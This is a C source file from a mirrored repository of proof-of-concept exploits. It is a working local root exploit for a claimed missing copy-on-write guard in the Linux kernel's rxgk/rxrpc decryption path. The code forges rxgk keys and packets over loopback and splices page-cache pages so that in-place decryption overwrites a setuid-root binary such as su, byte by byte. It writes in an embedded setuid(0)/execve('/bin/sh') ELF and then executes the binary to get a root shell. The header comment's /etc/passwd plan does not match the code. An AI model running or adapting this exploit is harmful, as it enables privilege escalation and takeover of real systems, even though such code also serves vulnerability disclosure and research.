mirror of
https://github.com/v12-security/pocs.git
synced 2026-05-26 08:40:48 +00:00
647 lines
19 KiB
C
647 lines
19 KiB
C
/*
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* rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb()
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*
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* net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then
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* crypto_krb5_decrypt() with no skb_cow_data(). The krb5enc AEAD template
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* (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC. When skb
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* frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback),
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* the in-place decrypt corrupts the page cache.
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*
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* The same pattern exists in rxkad (rxkad_verify_packet_2).
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*
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* Exploitation uses a sliding-window technique to write arbitrary bytes to the
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* pagecache one at a time. Each round fires a spliced rxgk packet at offset
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* S+i, corrupting a 16-byte AES block. Byte[0] of the output is uniformly
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* random (1/256 chance of the target value). Round i+1 at offset S+i+1
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* overwrites the 15 bytes of collateral from round i, but never touches the
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* byte set by round i. This yields byte-granularity writes at ~256 fires per
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* byte.
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*
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* Attack: rewrite /etc/passwd root entry → empty password → su root → flag.
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*
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*/
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#define _GNU_SOURCE
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdint.h>
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#include <unistd.h>
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#include <fcntl.h>
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#include <errno.h>
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#include <sched.h>
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#include <time.h>
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#include <poll.h>
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#include <sys/syscall.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <sys/uio.h>
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#include <sys/ioctl.h>
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#include <sys/wait.h>
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#include <sys/mman.h>
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#include <sys/stat.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#include <net/if.h>
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#ifdef __has_include
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# if __has_include(<linux/rxrpc.h>)
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# include <linux/if.h>
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# include <linux/rxrpc.h>
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# include <linux/keyctl.h>
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# else
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# define NEED_RXRPC_DEFS
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# endif
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#else
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# include <linux/if.h>
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# include <linux/rxrpc.h>
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# include <linux/keyctl.h>
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#endif
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#ifndef AF_RXRPC
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#define AF_RXRPC 33
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#endif
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#ifndef SOL_RXRPC
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#define SOL_RXRPC 272
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#endif
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#ifdef NEED_RXRPC_DEFS
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#define KEY_SPEC_PROCESS_KEYRING (-2)
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#define RXRPC_SECURITY_KEY 1
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#define RXRPC_MIN_SECURITY_LEVEL 4
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#define RXRPC_SECURITY_ENCRYPT 2
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#define RXRPC_USER_CALL_ID 1
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struct sockaddr_rxrpc {
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unsigned short srx_family;
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uint16_t srx_service;
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uint16_t transport_type;
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uint16_t transport_len;
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union {
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unsigned short family;
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struct sockaddr_in sin;
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struct sockaddr_in6 sin6;
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} transport;
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};
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#endif
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#define RXGK_SECURITY_INDEX 6
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#define ENCTYPE_AES128_CTS 17
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#define AES_KEY_LEN 16
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struct rxrpc_wire_header {
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uint32_t epoch;
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uint32_t cid;
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uint32_t callNumber;
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uint32_t seq;
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uint32_t serial;
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uint8_t type;
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uint8_t flags;
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uint8_t userStatus;
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uint8_t securityIndex;
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uint16_t cksum;
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uint16_t serviceId;
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} __attribute__((packed));
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#define RXRPC_PACKET_TYPE_DATA 1
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#define RXRPC_PACKET_TYPE_CHALLENGE 6
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#define RXRPC_LAST_PACKET 0x04
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#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
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#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
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/* --- helpers --- */
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static long key_add(const char *type, const char *desc,
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const void *payload, size_t plen, int ringid)
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{
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return syscall(SYS_add_key, type, desc, payload, plen, ringid);
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}
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static int write_proc(const char *path, const char *buf)
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{
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int fd = open(path, O_WRONLY);
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if (fd < 0) return -1;
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int n = write(fd, buf, strlen(buf));
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close(fd);
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return n;
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}
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/* --- user/net namespace --- */
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static void setup_ns(void)
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{
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uid_t uid = getuid();
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gid_t gid = getgid();
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if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
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if (unshare(CLONE_NEWNET) < 0) {
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perror("unshare");
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exit(1);
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}
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} else {
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write_proc("/proc/self/setgroups", "deny");
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char map[64];
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snprintf(map, sizeof(map), "0 %u 1", uid);
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write_proc("/proc/self/uid_map", map);
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snprintf(map, sizeof(map), "0 %u 1", gid);
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write_proc("/proc/self/gid_map", map);
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}
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int s = socket(AF_INET, SOCK_DGRAM, 0);
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if (s >= 0) {
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struct ifreq ifr = {};
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strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
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if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
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ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
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ioctl(s, SIOCSIFFLAGS, &ifr);
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}
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close(s);
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}
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}
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/* --- rxgk XDR token construction --- */
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static void xdr_put32(uint8_t **pp, uint32_t val)
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{
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uint32_t nv = htonl(val);
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memcpy(*pp, &nv, 4);
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*pp += 4;
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}
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static void xdr_put64(uint8_t **pp, uint64_t val)
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{
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xdr_put32(pp, (uint32_t)(val >> 32));
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xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
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}
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static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
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{
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xdr_put32(pp, (uint32_t)len);
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memcpy(*pp, data, len);
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*pp += len;
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size_t pad = (4 - (len & 3)) & 3;
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if (pad) { memset(*pp, 0, pad); *pp += pad; }
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}
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static int build_rxgk_token(uint8_t *out, size_t maxlen,
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const uint8_t *base_key, size_t keylen)
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{
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uint8_t *p = out;
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struct timespec ts;
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clock_gettime(CLOCK_REALTIME, &ts);
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uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
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(uint64_t)ts.tv_nsec / 100ULL;
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xdr_put32(&p, 0); /* flags */
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xdr_put_data(&p, "poc.test", 8); /* cell */
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xdr_put32(&p, 1); /* ntoken */
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uint8_t tok[512];
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uint8_t *tp = tok;
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xdr_put32(&tp, RXGK_SECURITY_INDEX);
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xdr_put64(&tp, now); /* begintime */
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xdr_put64(&tp, now + 864000000000ULL); /* endtime */
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xdr_put64(&tp, 2); /* level = ENCRYPT */
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xdr_put64(&tp, 864000000000ULL); /* lifetime */
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xdr_put64(&tp, 0); /* bytelife */
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xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
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xdr_put_data(&tp, base_key, keylen); /* key */
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uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
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xdr_put_data(&tp, ticket, sizeof(ticket));
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size_t toklen = (size_t)(tp - tok);
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xdr_put32(&p, (uint32_t)toklen);
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memcpy(p, tok, toklen);
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p += toklen;
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if ((size_t)(p - out) > maxlen) return -1;
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return (int)(p - out);
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}
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static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
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{
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uint8_t buf[1024];
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int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
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if (n < 0) return -1;
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return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
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}
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/* --- AF_RXRPC client + fake UDP server --- */
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static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
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{
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int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
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if (fd < 0) return -1;
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if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
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keyname, strlen(keyname)) < 0) {
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close(fd); return -1;
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}
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int min_level = RXRPC_SECURITY_ENCRYPT;
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if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
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&min_level, sizeof(min_level)) < 0) {
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close(fd); return -1;
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}
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struct sockaddr_rxrpc srx = {0};
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srx.srx_family = AF_RXRPC;
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srx.srx_service = 0;
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srx.transport_type = SOCK_DGRAM;
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srx.transport_len = sizeof(struct sockaddr_in);
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srx.transport.sin.sin_family = AF_INET;
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srx.transport.sin.sin_port = htons(local_port);
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srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
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if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
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close(fd); return -1;
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}
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return fd;
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}
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static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
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{
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char data[] = "TESTDATA";
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struct sockaddr_rxrpc srx = {0};
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srx.srx_family = AF_RXRPC;
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srx.srx_service = service_id;
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srx.transport_type = SOCK_DGRAM;
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srx.transport_len = sizeof(struct sockaddr_in);
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srx.transport.sin.sin_family = AF_INET;
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srx.transport.sin.sin_port = htons(srv_port);
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srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
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char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
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struct msghdr msg = {0};
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msg.msg_name = &srx;
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msg.msg_namelen = sizeof(srx);
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struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
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msg.msg_iov = &iov;
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msg.msg_iovlen = 1;
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msg.msg_control = cmsg_buf;
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msg.msg_controllen = sizeof(cmsg_buf);
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struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
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cmsg->cmsg_level = SOL_RXRPC;
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cmsg->cmsg_type = RXRPC_USER_CALL_ID;
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cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
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*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
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int fl = fcntl(cli_fd, F_GETFL);
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fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
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ssize_t n = sendmsg(cli_fd, &msg, 0);
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fcntl(cli_fd, F_SETFL, fl);
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if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
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return -1;
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return 0;
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}
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static int setup_udp_server(uint16_t port)
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{
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int s = socket(AF_INET, SOCK_DGRAM, 0);
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if (s < 0) return -1;
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struct sockaddr_in sa = {
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.sin_family = AF_INET,
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.sin_port = htons(port),
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.sin_addr.s_addr = htonl(0x7F000001),
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};
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int one = 1;
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setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
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if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
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close(s); return -1;
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}
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return s;
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}
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static ssize_t udp_recv(int s, void *buf, size_t cap,
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struct sockaddr_in *from, int timeout_ms)
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{
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struct pollfd pfd = { .fd = s, .events = POLLIN };
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if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
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socklen_t fl = from ? sizeof(*from) : 0;
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return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
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}
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/*
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* Fire one splice-based pagecache corruption at the given file offset.
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* Sets up an rxgk connection with the provided key, completes the handshake
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* via a fake UDP server on loopback, then splices pagecache pages into a
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* forged DATA packet. The kernel's in-place decrypt corrupts the pagecache.
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*
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* Returns 1 on fire, -1 on setup error.
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*/
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static int trigger_seq = 0;
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static int fire(int target_fd, off_t splice_off, size_t splice_len,
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const uint8_t *base_key, size_t keylen)
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{
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char keyname[32];
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snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++);
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long key = add_rxgk_key(keyname, base_key, keylen);
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if (key < 0) return -1;
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/* Use high-entropy ports to avoid TIME_WAIT collisions */
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uint16_t port_S = 10000 + (rand() % 27000) * 2;
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uint16_t port_C = port_S + 1;
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int ret = -1;
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int udp_srv = setup_udp_server(port_S);
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if (udp_srv < 0) goto out_key;
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int cli = setup_rxrpc_client(port_C, keyname);
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if (cli < 0) goto out_udp;
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if (initiate_call(cli, port_S, 1234) < 0)
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goto out_cli;
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uint8_t pkt[2048];
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struct sockaddr_in cli_addr;
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ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
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if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
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struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
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uint32_t epoch = ntohl(hdr->epoch);
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uint32_t cid = ntohl(hdr->cid);
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uint32_t callN = ntohl(hdr->callNumber);
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uint16_t svc = ntohs(hdr->serviceId);
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uint16_t cport = ntohs(cli_addr.sin_port);
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/* send challenge */
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{
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uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
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memset(ch, 0, sizeof(ch));
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struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
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c->epoch = htonl(epoch);
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c->cid = htonl(cid);
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c->serial = htonl(0x10000);
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c->type = RXRPC_PACKET_TYPE_CHALLENGE;
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c->securityIndex = RXGK_SECURITY_INDEX;
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c->serviceId = htons(svc);
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for (int i = 0; i < 20; i++)
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ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
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struct sockaddr_in to = { .sin_family = AF_INET,
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.sin_port = htons(cport),
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.sin_addr.s_addr = htonl(0x7F000001) };
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sendto(udp_srv, ch, sizeof(ch), 0,
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(struct sockaddr *)&to, sizeof(to));
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}
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/* drain response(s) */
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for (int i = 0; i < 3; i++) {
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struct sockaddr_in src;
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if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
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}
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/* forge DATA packet: wire header from userspace, payload from pagecache */
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struct rxrpc_wire_header mal = {0};
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mal.epoch = htonl(epoch);
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mal.cid = htonl(cid);
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mal.callNumber = htonl(callN);
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mal.seq = htonl(1);
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mal.serial = htonl(0x42000);
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mal.type = RXRPC_PACKET_TYPE_DATA;
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mal.flags = RXRPC_LAST_PACKET;
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mal.securityIndex = RXGK_SECURITY_INDEX;
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mal.serviceId = htons(svc);
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struct sockaddr_in dst = { .sin_family = AF_INET,
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.sin_port = htons(cport),
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.sin_addr.s_addr = htonl(0x7F000001) };
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if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
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goto out_cli;
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int p[2];
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if (pipe(p) < 0) goto out_cli;
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struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
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if (vmsplice(p[1], &viv, 1, 0) < 0)
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{ close(p[0]); close(p[1]); goto out_cli; }
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loff_t off = splice_off;
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if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
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{ close(p[0]); close(p[1]); goto out_cli; }
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if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
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{ close(p[0]); close(p[1]); goto out_cli; }
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close(p[0]); close(p[1]);
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usleep(1000);
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/* drain the error from the client socket (HMAC check fails as expected) */
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int fl = fcntl(cli, F_GETFL);
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fcntl(cli, F_SETFL, fl | O_NONBLOCK);
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for (int i = 0; i < 2; i++) {
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char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
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struct msghdr m = {0};
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struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
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m.msg_name = &srx; m.msg_namelen = sizeof(srx);
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m.msg_iov = &iv; m.msg_iovlen = 1;
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m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
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recvmsg(cli, &m, 0);
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}
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ret = 1;
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out_cli:
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close(cli);
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out_udp:
|
|
close(udp_srv);
|
|
out_key:
|
|
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
|
|
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
|
|
return ret;
|
|
}
|
|
|
|
/* --- sliding window write with progress display --- */
|
|
|
|
static void progress(int done, int total, int fires)
|
|
{
|
|
int width = 40;
|
|
int filled = total ? (done * width / total) : 0;
|
|
int pct = total ? (done * 100 / total) : 0;
|
|
fprintf(stderr, "\r [");
|
|
for (int j = 0; j < width; j++)
|
|
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
|
|
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
|
|
if (done == total) fputc('\n', stderr);
|
|
fflush(stderr);
|
|
}
|
|
|
|
static int pagecache_write(int rfd, void *map, off_t base,
|
|
const uint8_t *target, int len, off_t file_size,
|
|
const char *label)
|
|
{
|
|
uint8_t key[16];
|
|
uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
|
|
struct timespec t0;
|
|
clock_gettime(CLOCK_MONOTONIC, &t0);
|
|
int total = 0;
|
|
|
|
int max_off = (int)(file_size - 28);
|
|
if (base + len - 1 > max_off)
|
|
len = max_off - (int)base + 1;
|
|
|
|
/* Find first byte that differs. We must write everything from there
|
|
* onward, because each round's 15-byte damage zone corrupts the next
|
|
* bytes even if they originally matched. */
|
|
int start = 0;
|
|
for (int i = 0; i < len; i++) {
|
|
uint8_t cur;
|
|
pread(rfd, &cur, 1, base + i);
|
|
if (cur != target[i]) { start = i; break; }
|
|
if (i == len - 1) {
|
|
LOG("pagecache already matches, skipping write");
|
|
return 0;
|
|
}
|
|
}
|
|
int need = len - start;
|
|
|
|
LOG("writing shellcode to %s (%d bytes from offset %d)",
|
|
label, need, (int)base + start);
|
|
progress(0, need, 0);
|
|
|
|
for (int i = start; i < len; i++) {
|
|
off_t off = base + i;
|
|
uint8_t want = target[i];
|
|
uint8_t cur;
|
|
pread(rfd, &cur, 1, off);
|
|
|
|
if (cur == want && i > start) {
|
|
/* Byte matches AND we haven't just written (no damage pending).
|
|
* This only happens for the first byte after start, which is
|
|
* impossible since start IS the first diff. After that, each
|
|
* round's damage means we always write. Just be safe: */
|
|
continue;
|
|
}
|
|
|
|
int ok = 0;
|
|
for (int att = 0; att < 10000; att++) {
|
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
|
uint64_t r = seed;
|
|
seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17;
|
|
memcpy(key, &r, 8);
|
|
memcpy(key + 8, &seed, 8);
|
|
|
|
size_t slen = 28;
|
|
if (off + (off_t)slen > file_size) slen = file_size - off;
|
|
if (slen < 16) slen = 16;
|
|
int rc = fire(rfd, off, slen, key, AES_KEY_LEN);
|
|
total++;
|
|
if (rc == 1 && ((const uint8_t *)map)[off] == want) {
|
|
ok = 1;
|
|
progress(i - start + 1, need, total);
|
|
break;
|
|
}
|
|
}
|
|
if (!ok) {
|
|
fprintf(stderr, "\n");
|
|
ERR("byte %d/%d failed", i - start + 1, need);
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
struct timespec t1;
|
|
clock_gettime(CLOCK_MONOTONIC, &t1);
|
|
double dt = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;
|
|
LOG("%d fires in %.1fs", total, dt);
|
|
return 0;
|
|
}
|
|
|
|
/* --- tiny ELF: setuid(0) + execve("/bin/sh") ---
|
|
* 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr.
|
|
* Matches the first 24 bytes of any PIE binary (ET_DYN, x86_64).
|
|
* PT_LOAD covers 120 bytes; the 15-byte sliding-window damage
|
|
* tail at offset 120+ is past the loadable segment. */
|
|
static const uint8_t tiny_elf[] = {
|
|
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,
|
|
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */
|
|
0xb0,0x69,0x0f,0x05, /* setuid(0) */
|
|
0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, \"/bin/sh\" */
|
|
0x6a,0x3b,0x58, /* push 59; pop rax */
|
|
0x0f,0x05, /* execve(\"/bin/sh\", 0, 0) */
|
|
};
|
|
|
|
/* --- main --- */
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
(void)argc; (void)argv;
|
|
srand(time(NULL) ^ getpid());
|
|
|
|
fprintf(stderr, "\n=== rxgk pagecache write ===\n");
|
|
fprintf(stderr, "uid=%u euid=%u\n", getuid(), geteuid());
|
|
|
|
/* Target: any setuid-root binary readable by us. */
|
|
const char *targets[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
|
"/usr/bin/passwd", "/usr/bin/chsh", NULL };
|
|
const char *target_path = NULL;
|
|
for (int i = 0; targets[i]; i++) {
|
|
struct stat sb;
|
|
if (stat(targets[i], &sb) == 0 &&
|
|
(sb.st_mode & S_ISUID) &&
|
|
sb.st_uid == 0 &&
|
|
access(targets[i], R_OK) == 0) {
|
|
target_path = targets[i];
|
|
break;
|
|
}
|
|
}
|
|
if (!target_path) { ERR("no readable setuid-root binary found"); return 1; }
|
|
|
|
/* Back up the target binary so the root shell can restore it. */
|
|
char backup[256];
|
|
const char *base = strrchr(target_path, '/');
|
|
base = base ? base + 1 : target_path;
|
|
snprintf(backup, sizeof(backup), "/tmp/.%s_%d", base, getpid());
|
|
{
|
|
int src = open(target_path, O_RDONLY);
|
|
int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
|
if (src >= 0 && dst >= 0) {
|
|
char buf[4096];
|
|
ssize_t n;
|
|
while ((n = read(src, buf, sizeof(buf))) > 0)
|
|
write(dst, buf, n);
|
|
}
|
|
if (src >= 0) close(src);
|
|
if (dst >= 0) close(dst);
|
|
}
|
|
|
|
int rfd = open(target_path, O_RDONLY);
|
|
if (rfd < 0) { perror(target_path); return 1; }
|
|
|
|
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0);
|
|
if (map == MAP_FAILED) { perror("mmap"); return 1; }
|
|
|
|
pid_t pid = fork();
|
|
if (pid < 0) { perror("fork"); return 1; }
|
|
if (pid == 0) {
|
|
setup_ns();
|
|
usleep(10000);
|
|
|
|
int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
|
if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(1); }
|
|
close(sock);
|
|
|
|
struct stat sb;
|
|
fstat(rfd, &sb);
|
|
_exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), sb.st_size, target_path) < 0 ? 2 : 0);
|
|
}
|
|
|
|
int st;
|
|
waitpid(pid, &st, 0);
|
|
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
|
|
ERR("corruption failed (status 0x%x)", st);
|
|
unlink(backup);
|
|
return 1;
|
|
}
|
|
|
|
munmap(map, 4096);
|
|
close(rfd);
|
|
|
|
LOG("exec %s", target_path);
|
|
LOG("restore: cp %s %s", backup, target_path);
|
|
fflush(stderr);
|
|
|
|
execlp(target_path, target_path, (char *)NULL);
|
|
perror(target_path);
|
|
return 1;
|
|
}
|